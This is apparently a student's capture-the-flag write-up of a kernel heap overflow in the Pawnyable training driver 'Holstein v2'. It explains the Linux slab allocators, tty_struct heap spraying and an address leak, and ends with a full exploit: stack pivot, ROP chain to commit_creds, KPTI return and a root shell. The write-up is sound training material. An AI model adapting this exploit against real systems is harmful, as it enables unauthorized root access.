# HeapOverflow in Kernel We provided with source code of vulnerbility kernel module : ```C!= #include <linux/module.h> #include <linux/kernel.h> #include <linux/cdev.h> #include <linux/fs.h> #include <linux/uaccess.h> #include <linux/slab.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("ptr-yudai"); MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable"); #define DEVICE_NAME "holstein" #define BUFFER_SIZE 0x400 char *g_buf = NULL; static int module_open(struct inode *inode, struct file *file) { printk(KERN_INFO "module_open called\n"); g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL); if (!g_buf) { printk(KERN_INFO "kmalloc failed"); return -ENOMEM; } return 0; } static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos) { printk(KERN_INFO "module_read called\n"); if (copy_to_user(buf, g_buf, count)) { printk(KERN_INFO "copy_to_user failed\n"); return -EINVAL; } return count; } static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) { printk(KERN_INFO "module_write called\n"); if (copy_from_user(g_buf, buf, count)) { printk(KERN_INFO "copy_from_user failed\n"); return -EINVAL; } return count; } static int module_close(struct inode *inode, struct file *file) { printk(KERN_INFO "module_close called\n"); kfree(g_buf); return 0; } static struct file_operations module_fops = { .owner = THIS_MODULE, .read = module_read, .write = module_write, .open = module_open, .release = module_close, }; static dev_t dev_id; static struct cdev c_dev; static int __init module_initialize(void) { if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) { printk(KERN_WARNING "Failed to register device\n"); return -EBUSY; } cdev_init(&c_dev, &module_fops); c_dev.owner = THIS_MODULE; if (cdev_add(&c_dev, dev_id, 1)) { printk(KERN_WARNING "Failed to add cdev\n"); unregister_chrdev_region(dev_id, 1); return -EBUSY; } return 0; } static void __exit module_cleanup(void) { cdev_del(&c_dev); unregister_chrdev_region(dev_id, 1); } module_init(module_initialize); module_exit(module_cleanup); ``` At`module_open` we can see that it will malloc a dynamic memory for global variable `g_buf`. And at `module_write` we we can write as many as we want since it has no check for size of input from user ```C!= static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) { printk(KERN_INFO "module_write called\n"); if (copy_from_user(g_buf, buf, count)) { printk(KERN_INFO "copy_from_user failed\n"); return -EINVAL; } return count; } ``` So in kernel , we will also can dynamically allocate memory as in userspace. Kernel use it's own installed allocator mainly SLAB, SLUB, or SLOB is used. In order to exploit we will just focus on : ``` . Where chunks are cut from depending on the size you reserve . How freed objects are managed and reused on subsequent pins ``` # SLAB allocator Unlike libc allocator, `Slab allocator` will allocate page that has no metadata . there is no size information before or after the chunk. For small sizes, caches for each size band are used preferentially. If the size is large or the cache is empty, regular allocation is used. This is similarly to tcache in userspace's allocation. Different from libc allocattion , SLAB use bitarray to keeptrack of ervery spaces in that page . As the image below , `0` mean that space is being freed and `1` mean that space is currently in use. ![](https://hackmd.io/_uploads/SJOnTkjAh.png) and this bitarray is remain at the top of page `Note that there are actually several cache entries, and the pointers to the freed areas listed there are used with priority` Other functions are available depending on the cache generation flag `__kmem_cache_create`: SLAB_POISON: The freed area is filled with 0xA5. SLAB_RED_ZONE: An area called redzone is added after the object, and it is detected when it is rewritten due to Heap Overflow etc. we can understand this is like some of protection mechanism . `SLAB_POISON` is prevent us from leaking memory from freed chunks `SLAB_RED_ZONE` is like canary but in heap memory. # SLUB allocator The SLUB allocator is currently the default allocator and is intended for large systems. It is designed to be as fast as possible. SLUB is might be similar to libc allocate in userspace. it also has meta data at the beginning of every space . E.g a dedicated area is used such as kmalloc-128 for 100 bytes and kmalloc-256 for 200 bytes. and different from SLAB is that instead of using a bitarray to keeptrack of freelist space . At the descriptor of SLUB allocated page frame will has a pointer to the beginning of the freelist. SLUB manages free space using a one-way list, like libc's tcache and fastbin. A pointer to the previously freed area is written at the beginning of the freed area, and the link of the last freed area becomes NULL. There are no specific security mechanisms like tcache or fastbin to check for link rewriting. # SLOB allocator The SLOB allocator is an allocator for embedded systems. It is designed to be as lightweight as possible. `.The K&R allocator` is a method similar to glibc malloc, which allocates a usable area from the beginning without depending on the size. If you run out of space, allocate a new page. Therefore, it is highly prone to fragmentation. `.Managing free space using offsets` Glibc manages free space in a list by size, like tcache and fastbin. On the other hand, with SLOB, all free space is connected in order, regardless of size. Also, instead of having a pointer, the list has information about the size of its chunk and the offset to the next free area. This information is written at the beginning of the freed space. Follow this list when securing a size and use it when you find a size that is available. `.Freelist according to size` To suppress fragmentation, there are several lists that connect free objects according to size. ![](https://hackmd.io/_uploads/HyZH9esR2.png) looking at the imgage we can visualize the way of SLOB allocator manage freed space . It similarly to glibc allocator. Normal we will deal with SLUB allocator. One thing we must know that heap memory is shared by all drivices and kernel. And one more thing we need to know that SLUb allocate space by sized meaning that different page will be used for different size . That mean if we want to exploit using heapoverflow bug we need to file a module that equivalent to the size of the corrupted size. In this exploit our corrupted space has size of 0x400. and the `tty_struct` has the same size . let take a look at the `tty_struct` : ```C!= struct tty_struct { int magic; struct kref kref; struct device *dev; /* class device or NULL (e.g. ptys, serdev) */ struct tty_driver *driver; const struct tty_operations *ops; ... ``` `tty_operations *ops` is a pointer to a function table . Let check out the tructure of `tty_operations` function table: [tty_operations structure](https://docs.huihoo.com/doxygen/linux/kernel/3.7/structtty__operations.html) We can see `int(* ioctl )(struct tty_struct *tty, unsigned int cmd, unsigned long arg)` at the index 12 of the function table. So if we manage to overwrite `ops` , let it point to our fake function table. and then we make a call to `ioctl(int fd , int cmd, *argvp)` - fd is a file descripter indicate to the corrupted `tty_struct` which get overflowed by our payload . we can create this `tty_struct` by `open( "/dev/ptmx" , O_RDONLY | O_NOCTTY);` # OK so let exploit it So with our heap overflow bug we will want to use the overflow to corrupt some objects which is adjacent to our overflowed space . So we could use Heap Spray . The purpose of heap spray is to put our overflowed space next to the structure we want to corrupt . ```C!= int spray[ 100 ]; for ( int i = 0 ; i < 50 ; i++) { spray[i] = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY); if (spray[i] == -1 ) { fatal( "/dev/ptmx" ); } } // our vulnerable moldule. // Allocate a location with a surrounding tty_struct int fd = open( "/dev/holstein" , O_RDWR); if (fd == -1 ) { fatal( "/dev/holstein" ); } for ( int i = 50 ; i < 100 ; i++) { spray[i] = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY); if (spray[i] == -1 ){ fatal( "/dev/ ptmx" ); } } to stop the program so we can examine the memory! ``` let set a break point after the we open( "/dev/holstein" , O_RDWR). ```ASM= .text:000000000000005B 55 push rbp .text:000000000000005C 48 89 E5 mov rbp, rsp .text:000000000000005F 48 83 EC 20 sub rsp, 20h .text:0000000000000063 48 89 7D E8 mov [rbp+var_18], rdi .text:0000000000000067 48 89 75 E0 mov [rbp+var_20], rsi .text:000000000000006B 48 C7 C7 6A 04 00 00 mov rdi, offset unk_46A .text:0000000000000072 E8 29 0A 00 00 call _printk ; PIC mode .text:0000000000000072 .text:0000000000000077 48 C7 45 F8 00 04 00 00 mov [rbp+var_8], 400h .text:000000000000007F C7 45 F4 C0 0C 00 00 mov [rbp+var_C], 0CC0h .text:0000000000000086 8B 55 F4 mov edx, [rbp+var_C] .text:0000000000000089 48 8B 45 F8 mov rax, [rbp+var_8] .text:000000000000008D 89 D6 mov esi, edx .text:000000000000008F 48 89 C7 mov rdi, rax .text:0000000000000092 E8 39 0A 00 00 call __kmalloc ; PIC mode .text:0000000000000092 .text:0000000000000097 48 89 05 62 09 00 00 mov cs:g_buf, rax ``` here is the assembly code of `module_open()` we can get the address of the start of the module_open() by `cat /proc/kallsyms | grep vuln` set a break point at `module_open + 0x3c` we can can see that rax has our address of kernel `g_buf`. continue and break again , check for our the address around `g_buf+0x400`. We can see it was `tty_structure` and looking at it we can spot some of interesting address we want to leak . ```C!= tty_struct: pwndbg> x/20xg 0xffff9bc8c30ff000+0x400 0xffff9bc8c30ff400: 0x0000000100005401 0x0000000000000000 0xffff9bc8c30ff410: 0xffff9bc8c265fe40 0xffffffffa6a38880 0xffff9bc8c30ff420: 0x0000000000000032 0x0000000000000000 0xffff9bc8c30ff430: 0x0000000000000000 0xffff9bc8c30ff438 0xffff9bc8c30ff440: 0xffff9bc8c30ff438 0xffff9bc8c30ff448 0xffff9bc8c30ff450: 0xffff9bc8c30ff448 0xffff9bc8c2745d00 0xffff9bc8c30ff460: 0x0000000000000000 0x0000000000000000 0xffff9bc8c30ff470: 0xffff9bc8c30ff470 0xffff9bc8c30ff470 0xffff9bc8c30ff480: 0x0000000000000000 0x0000000000000000 0xffff9bc8c30ff490: 0xffff9bc8c30ff490 0xffff9bc8c30ff490 ``` the address `0xffff9bc8c30ff418` is kernel address . Base on this we can calculate the kernel base address. `kbase = 0xffffffffa6a38880 - 0xc38880` the address `0xffff9bc8c30ff438 has it own address and it also a heap address` so we can use it to calculate the address of our g_buf and use it as the fake function table. ok so let use let use our oob read and write to leak address and overwrite the `tty_operation *ops` pointer so it point to our fake function table which is our g_buf and we will write (unsigned long)g_buf[12] = 0xffffffffdeadbeef then call ioctl() . and let check if it crash ```C!= char buf[ 0x500 ]; read(fd, buf, 0x500 ); kbase = *( unsigned long *)&buf[ 0x418 ] - ofs_tty_ops; printf ( "[ +] kbase = 0x%016lx\n" , kbase); g_buf = *( unsigned long *)&buf[ 0x438 ] - 0x438 ; printf ( "[+] g_buf = 0x%016lx\n" , g_buf); *(unsigned long*)&buf[12*8] = 0xffffffffdeadbeef; // Write fake function table *( unsigned long *)&buf[ 0x418 ] = g_buf; write(fd, buf, 0x420 ); // RIP control for ( int i = 0 ; i < 100 ; i++) { ioctl(spray[i], 0xdeadbeef , 0xcafebabe ); } ``` compile and run the exploit script the kernel will crash : ```C!= [*] Saved state [ +] kbase = 0xffffffffaec00000 [+] g_buf = 0xffff9cd3430f7000 BUG: unable to handle page fault for address: ffffffffdeadbeef #PF: supervisor instruction fetch in kernel mode #PF: error_code(0x0010) - not-present page PGD 1e0d067 P4D 1e0d067 PUD 1e0f067 PMD 0 Oops: 0010 [#1] SMP PTI CPU: 0 PID: 162 Comm: heapoverflow Tainted: G O 5.15.0 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:0xffffffffdeadbeef Code: Unable to access opcode bytes at RIP 0xffffffffdeadbec5. RSP: 0018:ffffad514013fe10 EFLAGS: 00000282 RAX: ffffffffdeadbeef RBX: ffff9cd3430f7800 RCX: 00000000deadbeef RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff9cd3430f7400 RBP: ffffad514013fea8 R08: 00000000cafebabe R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef R13: ffff9cd3430f7400 R14: 00000000cafebabe R15: ffff9cd3430d2800 FS: 00000000004d03c0(0000) GS:ffff9cd343600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffffffdeadbec5 CR3: 0000000002fe2000 CR4: 00000000003006f0 Call Trace: ? tty_ioctl+0x38a/0x920 ? set_next_entity+0x93/0x1d0 ? __switch_to_asm+0x32/0x60 ? __switch_to+0x2d5/0x3b0 ? __rseq_handle_notify_resume+0x290/0x360 ? __schedule+0x1c3/0x4e0 __x64_sys_ioctl+0x3c3/0x8f0 ? exit_to_user_mode_loop+0x9a/0xd0 ? switch_fpu_return+0x48/0x80 do_syscall_64+0x43/0x90 entry_SYSCALL_64_after_hwframe+0x44/0xae RIP: 0033:0x4517bf Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <41> 89 c0 3d 00 f0 ff ff 77 1f 48 8b 44 24 18 64 48 2b 04 25 28 00 RSP: 002b:00007fff6527c270 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007fff6527cb78 RCX: 00000000004517bf RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: 0000000000000036 RBP: 00007fff6527c980 R08: 00000000ffffffff R09: 0000000000000000 R10: 0000000000000010 R11: 0000000000000246 R12: 0000000000000001 R13: 00007fff6527cb68 R14: 00000000004c47d0 R15: 0000000000000001 Modules linked in: vuln(O) CR2: ffffffffdeadbeef ---[ end trace 0aa65796eb0d5a5a ]--- RIP: 0010:0xffffffffdeadbeef Code: Unable to access opcode bytes at RIP 0xffffffffdeadbec5. RSP: 0018:ffffad514013fe10 EFLAGS: 00000282 RAX: ffffffffdeadbeef RBX: ffff9cd3430f7800 RCX: 00000000deadbeef RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff9cd3430f7400 RBP: ffffad514013fea8 R08: 00000000cafebabe R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef R13: ffff9cd3430f7400 R14: 00000000cafebabe R15: ffff9cd3430d2800 FS: 00000000004d03c0(0000) GS:ffff9cd343600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffffffdeadbec5 CR3: 0000000002fe2000 CR4: 00000000003006f0 Kernel panic - not syncing: Fatal exception Kernel Offset: 0x2dc00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) ``` We can see that when program crash the RIP was 0xffffffffdeadbeef, and others register are : ```C RIP: ffffffffdeadbeef RCX: 00000000deadbeef RDX: 00000000cafebabe RSI: 00000000deadbeef R08: 00000000cafebabe R12: 00000000deadbeef R14: 00000000cafebabe we could use them with our exploit ``` And there! We was able leak heap and kernel base address. with the kernel base address we can calculate the address of gadget we want and also the address of prepare_kernel_cred and commit kernel_cred . And also our payload after we stack pivot using gadget `push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp ` to pivot the RSP to the g_buf address . After that we will able to ROP . And because of our ROP chain was execute in heap - which is kernel address , so we dont need to worry about SMAP enabled. full exploit ! original post was from [pawnyable-cafe](https://pawnyable-cafe.translate.goog/linux-kernel/LK01/heap_overflow.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=vi) ```C!= #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define ofs_tty_ops 0xc38880 #define stack_pivot_gadget (kbase + 0x3a478a) #define addr_prepare_kernel_cred (kbase + 0x74650) #define addr_commit_creds (kbase + 0x744b0) #define pop_rdi (kbase + 0xd748d) #define mov_rdi_rax (kbase + 0x62707b) // mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; #define pop_rcx (kbase+0x13c1c4) // pop rcx ; ret; #define pop_rdx_rbp (kbase + 0x37d02d) // pop rdx; pop rbp; ret; #define KPTI_trampoline (kbase + 0x800e26) // wapgs_restore_regs_and_return_to_usermode unsigned long kbase ; unsigned long g_buf ; void fatal(const char *msg) { perror(msg); exit(1); } unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved state"); } void get_shell(void){ puts("[*] Returned to userland"); if (getuid() == 0){ printf("[*] UID: %d, got root!\n", getuid()); system("/bin/sh"); } else { printf("[!] UID: %d, didn't get root\n", getuid()); exit(-1); } } int main () { save_state(); int spray[ 100 ]; for ( int i = 0 ; i < 50 ; i++) { spray[i] = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY); if (spray[i] == -1 ) { fatal( "/dev/ptmx" ); } } // Allocate a location with a surrounding tty_struct int fd = open( "/dev/holstein" , O_RDWR); if (fd == -1 ) { fatal( "/dev/holstein" ); } for ( int i = 50 ; i < 100 ; i++) { spray[i] = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY); if (spray[i] == -1 ){ fatal( "/dev/ ptmx" ); } } char buf[ 0x500 ]; read(fd, buf, 0x500 ); kbase = *( unsigned long *)&buf[ 0x418 ] - ofs_tty_ops; printf ( "[ +] kbase = 0x%016lx\n" , kbase); g_buf = *( unsigned long *)&buf[ 0x438 ] - 0x438 ; printf ( "[+] g_buf = 0x%016lx\n" , g_buf); // write fake function table unsigned long *p = (unsigned long*)&buf[0x400]; p[12] = stack_pivot_gadget; *(unsigned long*)&buf[0x418] = g_buf + 0x400; // ROP chainの用意 unsigned long *chain = (unsigned long*)&buf; *chain++ = pop_rdi; *chain++ = 0; *chain++ = addr_prepare_kernel_cred; *chain++ = pop_rcx; *chain++ = 0; *chain++ = mov_rdi_rax; *chain++ = addr_commit_creds; *chain++ = KPTI_trampoline; // dummy rax| dummy rdi| RIP | CS | RFLAGS | SP | SS *chain++ = 0xdeadbeef; // dummy rax *chain++ = 0xdeadbeef; // dummy rdi *chain++ = (unsigned long)&get_shell; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = user_sp; *chain++ = user_ss; // Heap Buffer Overflow write(fd, buf, 0x500); // RIP control for ( int i = 0 ; i < 100 ; i++) { ioctl(spray[i], 0xdeadbeef , g_buf - 0x10 ); // subtracted r13, rbp } close(fd); return 0 ; } ```